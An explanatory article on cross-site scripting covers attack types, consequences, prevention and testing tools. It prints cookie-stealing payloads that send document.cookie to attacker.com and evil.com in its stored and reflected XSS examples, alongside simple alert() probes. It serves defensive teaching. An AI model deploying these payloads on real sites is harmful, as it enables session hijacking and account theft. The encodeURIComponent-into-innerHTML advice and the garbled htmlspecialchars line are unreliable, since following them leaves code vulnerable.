Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into websites, which then get executed in users’ browsers. This can lead to data theft, session hijacking, defacement, phishing attacks, and malware distribution.
XSS occurs when web applications fail to properly validate, escape, or sanitize user inputs, allowing an attacker to insert harmful scripts that execute in the context of another user’s session.
How XSS Works
- The attacker injects a malicious JavaScript payload into a vulnerable website.
- The injected script is stored, reflected, or executed in a victim’s browser.
- The script can steal cookies, tokens, form inputs, or even redirect the user.
Example of a Vulnerable Web Page:
<form action="login.php">
<input type="text" name="username">
<input type="submit" value="Submit">
</form>
If the application echoes user input without sanitization:
Welcome, <script>alert('Hacked!');</script>
The JavaScript executes as soon as the page loads, proving XSS vulnerability.
Types of XSS Attacks
1. Stored XSS (Persistent XSS)
- The malicious script is stored in a database, message board, or comment section.
- A victim retrieves and executes the script when viewing the infected page.
- This is highly dangerous because multiple users may be affected.
Example:
An attacker posts this comment on a forum:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>
Any user who views the comment automatically sends their cookies to the attacker’s server.
2. Reflected XSS (Non-Persistent XSS)
- The malicious script is embedded in a URL and executed when a user clicks the link.
- The script is not stored on the website but is reflected in the HTTP response.
- Common attack vectors: phishing emails, malicious ads, and social engineering.
Example:
An attacker sends a phishing link:
http://vulnerable.com/search?q=<script>document.location='http://evil.com/?cookie='+document.cookie</script>
If the website reflects user input in the response, the victim’s session cookie is sent to the attacker’s server.
3. DOM-Based XSS
- The attack manipulates the DOM (Document Object Model) instead of directly injecting scripts into the page.
- The script modifies client-side JavaScript, changing how the page is displayed.
- More difficult to detect since it doesn’t involve server-side responses.
Example:
A website uses JavaScript to display user input:
document.write("Welcome " + document.URL.split('name=')[1]);
A victim visits:
http://vulnerable.com/welcome.html?name=<script>alert('Hacked')</script>
The script executes within the user’s browser.
Consequences of XSS
Session Hijacking: Attackers steal cookies and gain unauthorized access to accounts.
Credential Theft: Users are tricked into entering passwords on fake login pages.
Defacement: Websites are altered to display fake messages or offensive content.
Malware Injection: Users unknowingly download malicious files.
Phishing Attacks: Fake forms steal sensitive user data.
How to Prevent XSS
1. Input Validation and Sanitization
- Reject unexpected characters like
<
,>
,'
,"
in user input. - Use allowlists instead of blocklists (e.g., allow only alphanumeric characters).
- Sanitize input before rendering it in HTML.
Example (PHP):
$username = htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8');
This converts <script>
into <script>
, preventing execution.
2. Use Content Security Policy (CSP)
- Restrict script execution to trusted sources only.
Example CSP Header:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.com;">
This blocks malicious scripts from unauthorized sources.
3. Encode Output Properly
- Always encode data before displaying it in HTML, JavaScript, or URLs.
Example (JavaScript):
element.innerHTML = encodeURIComponent(userInput);
4. Use HTTPOnly and Secure Cookies
- Prevent JavaScript from accessing session cookies, reducing hijacking risks.
Example (Set-Cookie Header):
Set-Cookie: session=xyz; HttpOnly; Secure
5. Implement Web Application Firewalls (WAFs)
- WAFs block malicious scripts before they reach the browser.
- Tools like Cloudflare, ModSecurity, and AWS WAF can help mitigate XSS attacks.
6. Avoid eval()
and innerHTML
- These functions allow direct script execution, making them vulnerable to XSS.
Vulnerable Code:
eval(userInput);
document.body.innerHTML = userInput;
Secure Alternative:
document.createTextNode(userInput);
XSS Testing Tools (For Ethical Hacking & Testing)
XSS Hunter – Helps detect and report XSS vulnerabilities.
Burp Suite – Used for penetration testing and security analysis.
BeEF (Browser Exploitation Framework) – Targets browser vulnerabilities.